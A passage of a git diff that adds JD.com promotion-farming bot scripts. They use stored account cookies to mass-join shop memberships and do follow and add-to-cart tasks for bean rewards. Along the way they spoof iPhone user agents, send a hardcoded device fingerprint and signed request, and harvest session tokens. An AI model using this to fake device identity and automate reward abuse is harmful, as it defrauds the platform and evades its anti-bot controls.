+ } finally { + resolve(); + } + }) + }) +} +function getUserInfo() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.Pin)}` + $.post(taskPostUrl('/wxActionCommon/getUserInfo',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) + } else { + let res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getUserInfo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function accessLogWithAD() { + return new Promise(resolve => { + let pageurl = `https://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0816eliminate/?activityId=${$.activityId}&shareUuid=${$.shareUuid}` + let body = `venderId=${$.shopId || $.venderId}&code=99&pin=${encodeURIComponent($.Pin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null` + $.post(taskPostUrl('/common/accessLogWithAD',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + let LZ_TOKEN_KEY = '' + let LZ_TOKEN_VALUE = '' + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if(name.split("=")[1]){ + if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' + if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' + } + } + } + if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getMyPing() { + return new Promise(resolve => { + let body = `userId=${$.shopId || $.venderId}&token=${$.Token}&fromType=APP` + $.post(taskPostUrl('/customer/getMyPing',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) + } else { + let res = $.toObj(data) + if(typeof res == 'object' && res.result == true){ + if(res.data && typeof res.data.secretPin != 'undefined') $.Pin = res.data.secretPin + if(res.data && typeof res.data.nickname != 'undefined') $.nickname = res.data.nickname + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getMyPing ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getSimpleActInfoVo() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}` + $.post(taskPostUrl('/dz/common/getSimpleActInfoVo',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId + if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId + if(typeof res.data.jdActivityId != 'undefined') $.jdActivityId = res.data.jdActivityId + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=68&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3c9b9db164cc8d694603ca6e3d7fb003&st=1628423908868&sv=102&uemps=0-0&uts=0f31TVRjBSuihfC/1D/2G8oVbUW0Pu4uJDif0Ehi7AVzM40fF9GfNX0yawFyBpTXK/PgWitxArFfBLGK%2Be2W5Pno6b7J4iivmXiQYbYPZi7fbVYEHb8Xa5JAi/fbdr/QeztGPJhLoPHKsXGU39PgzC1cWUEVezUyvHVtAuVQGBR%2Bj6Cx5kcez%2BkVn3IH8dKrAI6kA/Ct%2BQopU%2BROo1oY2w%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', + headers: { + 'Content-Type':'application/x-www-form-urlencoded', + 'Cookie': cookie, + 'Host':'api.m.jd.com', + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) + } else { + let res = $.toObj(data) + if(typeof res == 'object' && res.errcode == 0){ + if(typeof res.token != 'undefined') $.Token = res.token + }else if(typeof res == 'object' && res.message){ + console.log(`isvObfuscator ${res.message || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function token() { + return new Promise(resolve => { + let get = { + url:`https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, + headers: { + "Cookie": `${activityCookie} ${cookie}`, + "Referer":`https://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0816eliminate/?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + "User-Agent": $.UA, + } + } + $.get(get, async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} cookie API请求失败,请检查网路重试`) + } else { + let LZ_TOKEN_KEY = '' + let LZ_TOKEN_VALUE = '' + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if(name.split("=")[1]){ + if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' + if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' + } + } + } + if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getCk() { + return new Promise(resolve => { + let get = { + url:`https://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0816eliminate/?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + headers: { + "Cookie": cookie, + "User-Agent": $.UA, + } + } + $.get(get, async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} cookie API请求失败,请检查网路重试`) + } else { + let LZ_TOKEN_KEY = '' + let LZ_TOKEN_VALUE = '' + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if(name.split("=")[1]){ + if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' + if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' + } + } + } + if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(url, body) { + return { + url: `https://lzdz1-isv.isvjcloud.com${url}`, + body: body, + headers: { + "Accept": "application/json", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': `${cookie} ${activityCookie} ${$.Pin && "AUTH_C_USER=" + $.Pin + ";" || ""}`, + "Host": "lzdz1-isv.isvjcloud.com", + "Origin": "https://lzdz1-isv.isvjcloud.com", + "X-Requested-With": "XMLHttpRequest", + "Referer": `https://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0816eliminate/?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + "User-Agent": $.UA , + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard17.js b/backUp/gua_opencard17.js new file mode 100644 index 0000000..b3a876b --- /dev/null +++ b/backUp/gua_opencard17.js @@ -0,0 +1,545 @@ +/* +秋新资联合开卡 [gua_opencard17.js] +———————————————— +跑此脚本需要添加依赖文件[sign_graphics_validate.js] + +新增开卡脚本 +一次性脚本 + +没有邀请助力 +没有邀请助力 +没有邀请助力 + +开2组卡(10+9) 共19个卡 每个卡10京豆 (如果在别的地方开过卡 则在这不能开卡 故没有京豆 +2个日常任务 有浏览、关注、加购 (每次1京豆 关注和加购可以多次 +(默认不加购 如需加购请设置环境变量[guaopencard_addSku17]为"true" +做完浏览、关注、加购 可以领取20京豆 + +默认脚本不执行 +如需执行脚本请设置环境变量 +做任务 +guaopencardRun17="true" +开卡 +guaopencard17="true" + +———————————————— +因需要加载依赖文件 +所以不支持手机软件(Quantumultx、Loon、Surge、小火箭等 +———————————————— +入口:[ 秋新资联合开卡 (https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html)] + +*/ +const $ = new Env('秋新资联合开卡'); +const Faker=require('./sign_graphics_validate.js') +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let guaopencard_addSku = "false" +guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku17 ? process.env.guaopencard_addSku17 : `${guaopencard_addSku}`) : ($.getdata('guaopencard_addSku17') ? $.getdata('guaopencard_addSku17') : `${guaopencard_addSku}`); +let guaopencard = "false" +guaopencard = $.isNode() ? (process.env.guaopencard17 ? process.env.guaopencard17 : `${guaopencard}`) : ($.getdata('guaopencard17') ? $.getdata('guaopencard17') : `${guaopencard}`); +let guaopencardRun = "false" +guaopencardRun = $.isNode() ? (process.env.guaopencardRun17 ? process.env.guaopencardRun17 : `${guaopencardRun}`) : ($.getdata('guaopencardRun17') ? $.getdata('guaopencardRun17') : `${guaopencardRun}`); +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if(guaopencard+"" != "true"){ + console.log('如需开卡请设置环境变量[guaopencard17]为"true"') + } + if(guaopencardRun+"" != "true"){ + console.log('如需做任务请设置环境变量[guaopencardRun17]为"true"') + } + if(guaopencard+"" != "true" && guaopencardRun+"" != "true"){ + return + } + console.log(`入口:\nhttps://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.bean = 0 + await getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await run(); + if($.bean > 0) message += `【京东账号${$.index}】获得${$.bean}京豆\n` + } + } + if(message){ + $.msg($.name, ``, `${message}\n获得到的京豆不一定到账`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${message}\n获得到的京豆不一定到账`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + await getHtml(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + if(!$.fp || !$.eid){ + $.log("获取活动信息失败!") + return + } + let config = [ + {configCode:'5f08564a952142fba421fabac1d480c2',configName:'秋新资联合开卡组2'}, + {configCode:'8f5f70f072154ce3acd50acaecee6638',configName:'秋新资联合开卡组1'}, + {configCode:'482c166b0a7648c3a0840626bff3af06',configName:'秋新资任务组件 组2'}, + {configCode:'ce04c87546ea40cc8f601e85f2dda2a9',configName:'秋新资任务组件 组1'}, + ] + for(let i in config){ + $.hotFlag = false + let item = config[i] + $.task = '' + $.taskList = [] + $.taskInfo = '' + let q = 5 + for(m=1;q--;m++){ + if($.task == '') await getActivity(item.configCode,item.configName,0) + if($.task || $.hotFlag) break + } + if($.hotFlag) continue; + if($.task.showOrder){ + console.log(`\n[${item.configName}] ${$.task.showOrder == 2 && '日常任务' || $.task.showOrder == 1 && '开卡' || '未知活动类型'} ${($.taskInfo.rewardStatus == 2) && '全部完成' || ''}`) + if($.taskInfo.rewardStatus == 2) continue; + $.taskList = $.task.memberList || $.task.taskList || [] + $.oneTask = '' + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if($.task.showOrder == 1){ + if(guaopencard+"" != "true"){ + console.log('如需开卡请设置环境变量[guaopencard17]为"true"') + break + } + if($.oneTask.cardName.indexOf('马克华') > -1) continue + console.log(`${$.oneTask.cardName} ${0 == $.oneTask.result ? "开卡得" + $.oneTask.rewardQuantity + "京豆" : 1 == $.oneTask.result ? "领取" + $.oneTask.rewardQuantity + "京豆" : 3 == $.oneTask.result ? "其他渠道入会" : "已入会"}`) + if($.oneTask.result == 0) await statistic(`{"activityType":"module_task","groupType":7,"configCode":"${item.configCode}","itemId":${$.oneTask.cardId}}`) + if($.oneTask.result == 0) await join($.oneTask.venderId) + await $.wait(parseInt(Math.random() * 1000 + 500, 10)) + if($.oneTask.result == 1 || $.oneTask.result == 0) await getReward(`{"configCode":"${item.configCode}","groupType":7,"itemId":${$.oneTask.cardId},"eid":"${$.eid}","fp":"${$.fp}"}`) + }else if($.task.showOrder == 2){ + if(guaopencardRun+"" != "true"){ + console.log('如需做任务请设置环境变量[guaopencardRun17]为"true"') + break + } + $.cacheNum = 0 + $.doTask = false + $.outActivity = false + let name = `${1 == $.oneTask.groupType ? "关注并浏览店铺" : 2 == $.oneTask.groupType ? "加购并浏览商品" : 3 == $.oneTask.groupType ? "关注并浏览频道" : 6 == $.oneTask.groupType ? "浏览会场" : "未知"}` + let msg = `(${$.oneTask.finishCount}/${$.oneTask.taskCount})` + let status = `${$.oneTask.finishCount >= $.oneTask.taskCount && '已完成' || "去" + (1 == $.oneTask.groupType ? "关注" : 2 == $.oneTask.groupType ? "加购" : 3 == $.oneTask.groupType ? "关注" : 6 == $.oneTask.groupType ? "浏览" : "做任务")}` + console.log(`${name}${msg} ${status}`) + if(guaopencard_addSku+"" != "true" && 2 == $.oneTask.groupType) console.log('如需加购请设置环境变量[guaopencard_addSku17]为"true"\n'); + if(guaopencard_addSku+"" != "true" && 2 == $.oneTask.groupType) continue; + if($.oneTask.finishCount < $.oneTask.taskCount){ + await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTask.groupType},"itemId":"${$.oneTask.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) + let c = $.oneTask.taskCount - $.oneTask.finishCount - 1 + for(n=2;c-- && !$.outActivity;n++){ + if($.outActivity) break + console.log(`第${n}次`) + await getActivity(item.configCode,item.configName,$.oneTask.groupType) + $.oneTasks = '' + let q = 3 + for(m=1;q--;m++){ + if($.oneTasks == '') await getActivity(item.configCode,item.configName,$.oneTask.groupType) + if($.oneTasks) break + } + if($.oneTasks){ + c = $.oneTasks.taskCount - $.oneTasks.finishCount + if($.oneTasks.item.itemId == $.oneTask.item.itemId){ + n--; + console.log(`数据缓存中`) + $.cacheNum++; + if($.cacheNum > 3) console.log('请重新执行脚本,数据缓存问题'); + if($.cacheNum > 3) break; + await getUA() + await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + await getHtml(); + }else{ + $.cacheNum = 0 + } + if($.oneTasks.item.itemId != $.oneTask.item.itemId && $.oneTasks.finishCount < $.oneTasks.taskCount) await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTasks.groupType},"itemId":"${$.oneTasks.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + }else{ + n--; + } + } + } + }else{ + console.log('未知活动类型') + } + } + if($.task.showOrder == 2){ + if($.doTask){ + $.taskInfo = '' + let q = 5 + for(m=1;q--;m++){ + if($.taskInfo == '') await getActivity(item.configCode,item.configName,-1) + if($.taskInfo) break + } + } + if($.taskInfo.rewardStatus == 1) await getReward(`{"configCode":"${item.configCode}","groupType":5,"itemId":1,"eid":"${$.eid}","fp":"${$.fp}"}`,1) + } + } + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + } + + } catch (e) { + console.log(e) + } +} +function getActivity(code,name,flag) { + return new Promise(async resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/v2/getActivity?configCode=${code}&eid=${$.eid}&fp=${$.fp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + 'Content-Type':'application/json;charset=utf-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true && res.data.pass == true){ + if(flag == 0){ + $.task = res.data.memberTask || res.data.dailyTask || [] + $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || [] + }else if(flag == -1){ + $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || {} + }else if(flag == 1 || flag == 2){ + for(let i of res.data.dailyTask.taskList){ + if(i.groupType == flag){ + $.oneTasks = i + break + } + } + }else{ + console.log('活动-未知类型') + } + }else if(res.data.pass == false){ + console.log(`活动[${name}]活动太火爆了,请稍后再试~`) + $.hotFlag = true + }else{ + console.log(`活动[${name}]获取失败\n${data}`) + if(flag > 0) await getHtml(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doTask(body) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/v2/doTask`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + $.doTask = true + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(parseInt(Math.random() * 1000 + 500, 10)) + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true){ + console.log(`领奖成功:${$.oneTask.rewardQuantity}京豆`) + $.bean += Number($.oneTask.rewardQuantity) + }else if(res.errorMessage){ + if(res.errorMessage.indexOf('活动已结束') > -1) $.outActivity = true + console.log(`${res.errorMessage}`) + }else{ + console.log(data) + } + } + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getReward(body, flag = 0) { + return new Promise(async resolve => { + $.post({ + url: 